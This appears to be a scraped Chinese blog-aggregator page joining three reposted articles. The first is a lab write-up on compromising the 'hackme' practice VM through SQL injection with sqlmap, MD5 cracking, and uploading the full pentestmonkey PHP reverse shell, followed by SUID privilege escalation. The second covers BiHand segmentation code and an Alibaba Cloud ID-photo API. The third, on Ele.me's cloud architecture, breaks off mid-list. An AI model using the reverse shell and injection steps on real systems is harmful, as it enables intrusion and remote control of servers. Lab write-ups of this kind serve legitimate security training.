...,即两虚拟机处于同一网络模式) 二、实战 2.1网络扫描 2.1.1 启动靶机和Kali后进行扫描 方法一、arp-scan -I eth0 -l (指定网卡扫) arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放,22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解,暂时没有合适的字典 80 端口分析 访问网站, 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
转载文章
... 计算,容器,存储,网络与CDN,安全、中间件、数据库、大数据计算、人工智能与机器学习、媒体服务、企业服务与云通信、物联网、开发工具、迁移与运维管理和专有云等方面,阿里云都做的很不错。 2.2 证件照生成背景 传统做法:通常是人工进行P图,不仅费时费力,而且效果也很难保障,容易有瑕疵。 机器学习做法:通常利用边缘检测算法进行人物轮廓提取。 深度学习做法:通常使用分割算法进行人物分割。例如U-Net网络。 2.3 图像分割算法 《BiHand: Recovering Hand Mesh with Multi-stage Bisected Hourglass Networks》里的SeedNet网络是很经典的网络,它把分割任务转变成多个任务。作者的思想是:尽可能的通过多任务学习收拢语义,这样或许会分割的更好或姿态估计的更好。其实这个模型就是多阶段学习网络的一部分,作者想通过中间监督来提高网络的性能。 我提取bihand网络中的SeedNet与训练权重,进行分割结果展示如下 我是用的模型不是全程的,是第一阶段的。为了可视化出最好的效果,我把第一阶段也就是SeedNet网络的输出分别采用不同的方式可视化。 从左边数第一张图为原图,第二张图为sigmoid后利用plt.imshow(colored_mask, cmap=‘jet’)进行彩色映射。第三张图为网络输出的张量经过sigmoid后,二色分割图,阀闸值0.5。第四张为网络的直接输出,利用直接产生的张量图进行颜色映射。第五张为使用sigmoid处理张量后进行的颜色映射。第六张为使用sigmoid处理张量后进行0,1分割掩码映射。使用原模型和网络需要添加很多代码。下面为修改后的的代码: 下面为修改后的net_seedd代码: Copyright (c) Lixin YANG. All Rights Reserved.r"""Networks for heatmap estimation from RGB images using Hourglass Network"Stacked Hourglass Networks for Human Pose Estimation", Alejandro Newell, Kaiyu Yang, Jia Deng, ECCV 2016"""import numpy as npimport torchimport torch.nn as nnimport torch.nn.functional as Ffrom skimage import io,transform,utilfrom termcolor import colored, cprintfrom bihand.models.bases.bottleneck import BottleneckBlockfrom bihand.models.bases.hourglass import HourglassBisectedimport bihand.utils.func as funcimport matplotlib.pyplot as pltfrom bihand.utils import miscimport matplotlib.cm as cmdef color_mask(output_ok): 颜色映射cmap = plt.cm.get_cmap('jet') 将张量转换为numpy数组mask_array = output_ok.detach().numpy() 创建彩色图像cmap = cm.get_cmap('jet')colored_mask = cmap(mask_array)return colored_mask 可视化 plt.imshow(colored_mask, cmap='jet') plt.axis('off') plt.show()def two_color(mask_tensor): 将张量转换为numpy数组mask_array = mask_tensor.detach().numpy() 将0到1之间的值转换为二值化掩码threshold = 0.5 阈值,大于阈值的为白色,小于等于阈值的为黑色binary_mask = np.where(mask_array > threshold, 1, 0)return binary_mask 可视化 plt.imshow(binary_mask, cmap='gray') plt.axis('off') plt.show()class SeedNet(nn.Module):def __init__(self,nstacks=2,nblocks=1,njoints=21,block=BottleneckBlock,):super(SeedNet, self).__init__()self.njoints = njointsself.nstacks = nstacksself.in_planes = 64self.conv1 = nn.Conv2d(3, self.in_planes, kernel_size=7, stride=2, padding=3, bias=True)self.bn1 = nn.BatchNorm2d(self.in_planes)self.relu = nn.ReLU(inplace=True)self.maxpool = nn.MaxPool2d(2, stride=2)self.layer1 = self._make_residual(block, nblocks, self.in_planes, 2self.in_planes) current self.in_planes is 64 2 = 128self.layer2 = self._make_residual(block, nblocks, self.in_planes, 2self.in_planes) current self.in_planes is 128 2 = 256self.layer3 = self._make_residual(block, nblocks, self.in_planes, self.in_planes)ch = self.in_planes 256hg2b, res1, res2, fc1, _fc1, fc2, _fc2= [],[],[],[],[],[],[]hm, _hm, mask, _mask = [], [], [], []for i in range(nstacks): 2hg2b.append(HourglassBisected(block, nblocks, ch, depth=4))res1.append(self._make_residual(block, nblocks, ch, ch))res2.append(self._make_residual(block, nblocks, ch, ch))fc1.append(self._make_fc(ch, ch))fc2.append(self._make_fc(ch, ch))hm.append(nn.Conv2d(ch, njoints, kernel_size=1, bias=True))mask.append(nn.Conv2d(ch, 1, kernel_size=1, bias=True))if i < nstacks-1:_fc1.append(nn.Conv2d(ch, ch, kernel_size=1, bias=False))_fc2.append(nn.Conv2d(ch, ch, kernel_size=1, bias=False))_hm.append(nn.Conv2d(njoints, ch, kernel_size=1, bias=False))_mask.append(nn.Conv2d(1, ch, kernel_size=1, bias=False))self.hg2b = nn.ModuleList(hg2b) hgs: hourglass stackself.res1 = nn.ModuleList(res1)self.fc1 = nn.ModuleList(fc1)self._fc1 = nn.ModuleList(_fc1)self.res2 = nn.ModuleList(res2)self.fc2 = nn.ModuleList(fc2)self._fc2 = nn.ModuleList(_fc2)self.hm = nn.ModuleList(hm)self._hm = nn.ModuleList(_hm)self.mask = nn.ModuleList(mask)self._mask = nn.ModuleList(_mask)def _make_fc(self, in_planes, out_planes):bn = nn.BatchNorm2d(in_planes)conv = nn.Conv2d(in_planes, out_planes, kernel_size=1, bias=False)return nn.Sequential(conv, bn, self.relu)def _make_residual(self, block, nblocks, in_planes, out_planes):layers = []layers.append( block( in_planes, out_planes) )self.in_planes = out_planesfor i in range(1, nblocks):layers.append(block( self.in_planes, out_planes))return nn.Sequential(layers)def forward(self, x):l_hm, l_mask, l_enc = [], [], []x = self.conv1(x) x: (N,64,128,128)x = self.bn1(x)x = self.relu(x)x = self.layer1(x)x = self.maxpool(x) x: (N,128,64,64)x = self.layer2(x)x = self.layer3(x)for i in range(self.nstacks): 2y_1, y_2, _ = self.hg2b[i](x)y_1 = self.res1[i](y_1)y_1 = self.fc1[i](y_1)est_hm = self.hm[i](y_1)l_hm.append(est_hm)y_2 = self.res2[i](y_2)y_2 = self.fc2[i](y_2)est_mask = self.mask[i](y_2)l_mask.append(est_mask)if i < self.nstacks-1:_fc1 = self._fc1[i](y_1)_hm = self._hm[i](est_hm)_fc2 = self._fc2[i](y_2)_mask = self._mask[i](est_mask)x = x + _fc1 + _fc2 + _hm + _maskl_enc.append(x)else:l_enc.append(x + y_1 + y_2)assert len(l_hm) == self.nstacksreturn l_hm, l_mask, l_encif __name__ == '__main__':a = torch.randn(10, 3, 256, 256) SeedNetmodel = SeedNet() output1,output2,output3 = SeedNetmodel(a) print(output1,output2,output3)total_params = sum(p.numel() for p in SeedNetmodel.parameters())/1000000print("Total parameters: ", total_params)pretrained_weights_path = 'E:/bihand/released_checkpoints/ckp_seednet_all.pth.tar'img_rgb_path=r"E:\FreiHAND\training\rgb\00000153.jpg"img=io.imread(img_rgb_path)resized_img = transform.resize(img, (256, 256), anti_aliasing=True)img256=util.img_as_ubyte(resized_img)plt.imshow(resized_img)plt.axis('off') 关闭坐标轴plt.show()''' implicit HWC -> CHW, 255 -> 1 '''img1 = func.to_tensor(img256).float() 转换为张量并且进行标准化处理''' 0-mean, 1 std, [0,1] -> [-0.5, 0.5] '''img2 = func.normalize(img1, [0.5, 0.5, 0.5], [1, 1, 1])img3 = torch.unsqueeze(img2, 0)ok=img3print(img.shape)SeedNetmodel = SeedNet()misc.load_checkpoint(SeedNetmodel, pretrained_weights_path)加载权重output1, output2, output3 = SeedNetmodel(img3)mask_tensor = torch.rand(1, 64, 64)output=output2[1] 1,1,64,64output_1=output[0] 1,64,64output_ok=torch.sigmoid(output_1[0])output_real=output_1[0].detach().numpy()直接产生的张量图color_mask=color_mask(output_ok) 显示彩色分割图two_color=two_color(output_ok)显示黑白分割图see=output_ok.detach().numpy() 使用Matplotlib库显示分割掩码 plt.imshow(see, cmap='gray') plt.axis('off') plt.show() print(output1, output2, output3)images = [resized_img, color_mask, two_color,output_real,see,see]rows = 1cols = 4 创建子图并展示图像fig, axes = plt.subplots(1, 6, figsize=(30, 5)) 遍历图像列表,并在每个子图中显示图像for i, image in enumerate(images):ax = axes[i] if cols > 1 else axes 如果只有一列,则直接使用axesif i ==5:ax.imshow(image, cmap='gray')else:ax.imshow(image)ax.imshowax.axis('off') 调整子图之间的间距plt.subplots_adjust(wspace=0.1, hspace=0.1) 展示图像plt.show() 上述的代码文件是在bihand/models/net_seed.py中,全部代码链接在https://github.com/lixiny/bihand。 把bihand/models/net_seed.p中的代码修改为我提供的代码即可使用作者训练好的模型和进行各种可视化。(预训练模型根据作者代码提示下载) 3.调用阿里云API进行证件照生成实例 3.1 准备工作 1.找到接口 进入下面链接即可快速访问 link 2.购买试用包 3.查看APPcode 4.下载代码 5.参数说明 3.2 实验代码 !/usr/bin/python encoding: utf-8"""===========================证件照制作接口==========================="""import requestsimport jsonimport base64import hashlibclass Idphoto:def __init__(self, appcode, timeout=7):self.appcode = appcodeself.timeout = timeoutself.make_idphoto_url = 'https://idp2.market.alicloudapi.com/idphoto/make'self.headers = {'Authorization': 'APPCODE ' + appcode,}def get_md5_data(self, body):"""md5加密:param body_json::return:"""md5lib = hashlib.md5()md5lib.update(body.encode("utf-8"))body_md5 = md5lib.digest()body_md5 = base64.b64encode(body_md5)return body_md5def get_photo_base64(self, file_path):with open(file_path, 'rb') as fp:photo_base64 = base64.b64encode(fp.read())photo_base64 = photo_base64.decode('utf8')return photo_base64def aiseg_request(self, url, data, headers):resp = requests.post(url=url, data=data, headers=headers, timeout=self.timeout)res = {"status_code": resp.status_code}try:res["data"] = json.loads(resp.text)return resexcept Exception as e:print(e)def make_idphoto(self, file_path, bk, spec="2"):"""证件照制作接口:param file_path::param bk::param spec::return:"""photo_base64 = self.get_photo_base64(file_path)body_json = {"photo": photo_base64,"bk": bk,"with_photo_key": 1,"spec": spec,"type": "jpg"}body = json.dumps(body_json)body_md5 = self.get_md5_data(body=body)self.headers.update({'Content-MD5': body_md5})data = self.aiseg_request(url=self.make_idphoto_url, data=body, headers=self.headers)return dataif __name__ == "__main__":file_path = "图片地址"idphoto = Idphoto(appcode="你的appcode")d = idphoto.make_idphoto(file_path, "red", "2")print(d) 3.3 实验结果与分析 原图片 背景为红色生成的证件照 背景为蓝色生成的证件照 另外尝试了使用柴犬照片做实验,也生成了证件照 原图 背景为红色生成的证件照 参考(可供参考的链接和引用文献) 1.参考:BiHand: Recovering Hand Mesh with Multi-stage Bisected Hourglass Networks(BMVC2020) 论文链接:https://arxiv.org/pdf/2008.05079.pdf 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_37758063/article/details/131128967。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-11 23:36:51
131
转载
转载文章
...市场的“百团大战”,网络订餐经历了低门槛遍地开花、砸钱补贴吸引用户量、精益运营降本增效三个重要阶段。据比达咨询市场分析数据显示,2016年中国第三方餐饮外卖市场格局中,饿了么位居第一,市场份额为34.6%,美团外卖(33.6%)、百度外卖(18.5%)紧随其后,在“白领市场”、“社区市场”、“校园市场”的细分领域中,饿了么均占据榜首位置。截至2016年12月,饿了么业务覆盖1400多个城市,用户超过1亿,各地加盟餐厅超过100万家,日订单量突破900万,旗下“蜂鸟配送”日配送单量超过450万。 在 “独角兽”的成长道路上,饿了么面对人工成本高制约业务快速扩张、人工派单速度慢导致高峰期积压订单严重、人工派单随机性强引起订单配送时效性差等现实问题,而阿里云通过智能派单系统,基于海量历史订单数据、餐厅数据、骑手数据、用户数据等信息实现智能派单,逐步替代调度员的大部分工作。智能派单系统整体全面上线后将释放90%以上人工派单的人力,每年节省人力支出预计超过亿元。 饿了么的IT系统架构伴随业务量飙升,进行了三次重大升级。 1)起步期(2009至2013年):饿了么由上海交通大学创始团队起家,发展至35人规模,日订单量维持在十万量级,由“IDC+Python”技术组合支撑业务运营,但面临Python人才难觅等困扰。 2)成长期(2014年至2015年):14年8至9月短短2个月内日均订单量增长10倍,从10万迅猛飙升至100万,业务规模主攻全国200个城市,原有IT系统架构压力极大,依靠人肉运维举步维艰,故障波动影响业务,创始人与核心技术团队坚守机房运维一线,才勉强扛住100万量级业务订单。开始借鉴阿里淘宝架构模式,人员团队也涨至500人,技术生态从Python扩展至“Java+Python”开发体系,从“人肉”支撑百万订单运营到自动化运维,并筹备同城异地容灾体系。 3)规模期(2015年至2017年):2015年7至8月,日均订单量从200万翻倍,以往积压的问题都暴露出来,技术架构面临大考验,坚定了架构上云的方案,团队扩展至1000人,架构要承载数百万量级业务时,出现峰值成本、灾备切换、IDC远程运维等种种挑战,全面战略转型采用“IDC+云计算”的混合云架构。在2016年12月25日圣诞节日订单量迎来前所未有的900万单,因此在技术架构上探索多活部署等创新性研发。 为什么选择架构转型上云?据饿了么CTO张雪峰先生所说,技术架构从IDC经典模式发展至混合云模式,主要原因是三个关键因素让管理层下定决心上云: 1) 脉冲计算:从技术架构配套业务发展分析,网络订餐业务具有明显的“脉冲计算”特征,在每日上午10:00至13:00、晚间16:00至19:00业务高峰值出现,而其他时间则业务量很低,暑假是业务高峰季,2016年5.17大促,饿了么第一次做“秒杀”,一秒订单15000笔,巨大的波峰波谷计算差异,引发了自建数据中心容量不可调和的两难处境,如果大规模投入服务器满足6小时的高峰业务量,则其余18个小时的业务低谷计算资源闲置,若满足平均业务量,则无法跟上业务快速发展节奏,落后于竞争对手;搞电商大促时,计算资源投入巨大,大促之后计算峰值下降,采用自建机房利用率仅10%,所以技术团队摸索出用云计算扛营销大促峰值的新模式,采用混合云架构满足 “潮汐业务”峰值计算,阿里云海量云计算资源弹性随需满足巨大的脉冲计算力缺口,这与每年“双11” 淘宝引入阿里云形成全球最大混合云架构具有异曲同工的创新价值。 2) 数据量爆炸:伴随饿了么近五年业务量呈几何级数的爆发式发展,数据量增速更加令人吃惊,是业务量增速的5倍,每日增量数据接近100TB,2015年短短2个月内业务量增长10倍,数据量增长了50倍,上海主生产机房不堪重负。30GB的DDoS攻击对业务系统造成较大风险,上云成为承载大数据、抗网络攻击的好方法。 3) 高可用性挑战:众所周知,IDC自建系统运维要承担从底层硬件到上层应用的“全栈运维”运营能力与维修能力,当2015年夏天上海数据中心故障发生,主核心交换机宕机时,备核心交换机Bug同时被触发,从事故发生到硬件厂商携维修设备打车赶往现场维修的整个过程中,饥饿的消费者无法订餐吃饭,技术团队第一次经历业务中断而束手无策,才下定决心大笔投入混合云灾备的建设,“吃一堑,长一智”,持续向淘宝学习电商云生产与灾备架构,以自动化运维替代人肉运维,从灾备向多活演进,成为饿了么企业架构转型的必经之路。 4) 大数据精益运营:不论网络打车还是网络订餐,共享服务平台脱颖而出的关键成功要素是智能调度算法,以大数据训练算法提升调度效率,饿了么在高峰时段内让百万“骑士”(送餐快递员)完成更多订单是算法持续优化的目标,而这背后隐藏着诸多复杂因素,包括考虑餐厅、骑士、消费者三者的实时动态位置关系,把新订单插入现有“骑士”的行进路线中,估计每家餐厅出餐时间,每个骑手的行进速度、道路熟悉程度各不相同,新老消费者获客成本、高价低价订单的优先级皆不相同。种种考量因素合并到一起,对于人类调度员来说,每天中午和晚上的高峰都是巨大的挑战。以上海商城路配送站为例,一个调度员每6秒钟就要调度1单,他需要考虑骑手已有订单量、路线熟悉度等。因此可以说,这份工作已经完全不适合人类。但对人工智能而言,阿里云ET则非常擅长处理这类超复杂、大规模、实时性要求高的“非人”问题。 饿了么是中国最大的在线外卖和即时配送平台,日订单量900万单、180万骑手、100万家餐饮店,既是史无前例的计算存储挑战,又是人无我有的战略发展机遇。饿了么携手阿里云人工智能团队,通过海量数据训练优化全球最大实时智能调度系统。在基础架构层,云计算解决弹性支撑业务量波动的基础生存问题,在数据智能层,利用大数据训练核心调度算法、提升餐饮店的商业价值,才是业务决胜的“技术神器”。 在针对大数据资源的“专家+机器”运营分析中,不断发现新的特征: 1) 区域差异性:饿了么与阿里云联合研发小组测试中发现有2个配送站点出现严重超时问题。后来才知道:2个站点均在成都,当地人民喜欢早、中餐一起吃,高峰从11点就开始了。习惯了北上广节奏的ET到成都就懵了。据阿里云人工智能专家闵万里分析:“不存在一套通用的算法可以适配所有站点,所以我们需要让ET自己学习或者向人类运营专家请教当地的风土人情、饮食习惯”。除此之外,饿了么覆盖的餐厅不仅有高大上的连锁店,还有大街小巷的各类难以琢磨的特色小吃,难度是其他智能调度业务的数倍。 2) 复杂路径规划:吃一口热饭有多难?送餐路径规划比驾车出行路径规划难度更高,要考虑“骑士”地图熟悉程度、天气状况、拼单效率、送餐顺序、时间对客户满意度影响、送达写字楼电梯等待时间等各种实际情况,究竟ET是如何实现智能派单并确保效率最优的呢?简单来说,ET会将配送站新接订单插入到每个骑手已有的任务中,重新规划一轮最短配送路径,对比哪个骑手新增时间最短。为了能够准确预估新增时间,ET需要知道全国100万家餐厅的出餐速度、超过180万骑手各自的骑行速度、每个顾客坐电梯下楼取餐的时间。一般来说,餐厅出餐等待时间占到了整个送餐时间的三分之一。ET要想提高骑手效率,必须准确预估出餐时间以减少骑手等待,但又不能让餐等人,最后饭凉了。饿了么旗下蜂鸟配送“准时达”服务单均配送时长缩短至30分钟以内。 3) 天气特殊影响:天气等环境因素对送餐响应时间影响显著,要想计算骑手的送餐路程时间,ET需要知道每个骑手在不同区域、不同天气下的送餐速度。如果北京雾霾,ET能看见吗?双方研发团队为ET内置了恶劣天气的算法模型。通常情况下,每逢恶劣天气,外卖订单将出现大涨,对应的餐厅出餐速度和骑手骑行速度都将受到影响,这些ET都会考虑在内。如果顾客在下雪天点个火锅呢?ET也知道,将自动识别其为大单,锁定某一个骑手专门完成配送。 4) 